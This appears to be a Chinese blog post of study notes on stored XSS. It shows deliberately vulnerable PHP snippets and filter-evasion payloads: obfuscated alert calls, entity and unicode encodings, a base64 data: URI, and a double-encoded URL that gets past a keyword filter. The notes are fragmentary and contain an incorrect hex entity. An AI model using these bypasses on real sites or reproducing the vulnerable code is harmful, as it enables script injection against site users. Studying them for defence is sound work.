【存储型XSS】

存储型XSS

在这里插入图片描述

$input =$_GET['inout'];
$code= <<<CODE
	<textarea>$input</textarea>
CODE;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
===在这里插入图片描述是否使用htmlspecial处理之后就可以避免XSS
在这里插入图片描述

弹窗技巧

常见的小技巧
a=alert(1) ,a(1)
在这里插入图片描述

al\u0065rt(1)

top ‘al\145rt’
top[‘a’+‘l’+‘e’+‘r’+‘t’](12345)
[1].find(alert)

在这里插入图片描述

常见的编码

Html实体编码(以&开头 ;结尾)

不能被浏览器渲染成标签‘
HTML字符编码(10进制,与16进制)
例如 <

html 十进制: &#60;
html 十六进制 &#3C;

Unicode编码的本质就将一个字符对应的16进制前面加上/u
#相当JavaScript执行执行
!在js中,像括号重音符号,引号这些算是控制符号,Unicode编码将不被解析(本质上不允许对他们编码,编码后将无法识别)。
在这里插入图片描述html页面渲染
pre)->要求能够正确的识别标签的结构,比如onerror

  1. 浏览器会对我们的标签节点进行有且仅有一次基于html的解码
  2. 解码之后的结果根据JavaScript的相应的语法进行执行

在html5里面的特殊符号

< a href=“javascript:alert(12345)”>click< /a>
javascript:可编码

& NewLine ; ------->换行 绕过正则
& colon ; ---------->冒号 :

XSS补充

data协议的使用方法:
在这里插入图片描述
在这里插入图片描述

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>

Objet协议

  • 面试
  • 在这里插入图片描述
<?php

$input = htmlspecialchars($_GET['input']);
$code = <<<CODE
<script>document.write('$input')</script>

CODE;
echo $code;

  • Inner HTML
<html>
<body>
<div id="id">haha</div>
</body>
</html>


<?php

$input = htmlspecialchars($_GET['input']);

$code = <<<CODE
<script>
document.getElementById("id").innerHTML='$input';
</script>

CODE;
echo $code;

URL双写绕过

<?php

$input = htmlspecialchars($_GET['input'], ENT_QUOTES);
preg_match('/alert/i', $input, $matches);
if (!empty( $matches)){
    die("使用了敏感字符");
}
$code = <<<CODE
<a href='$input'>click me </a>
CODE;
echo $code;
http://www.localhost.com/js/tet.php?input=javascript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(12345)
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值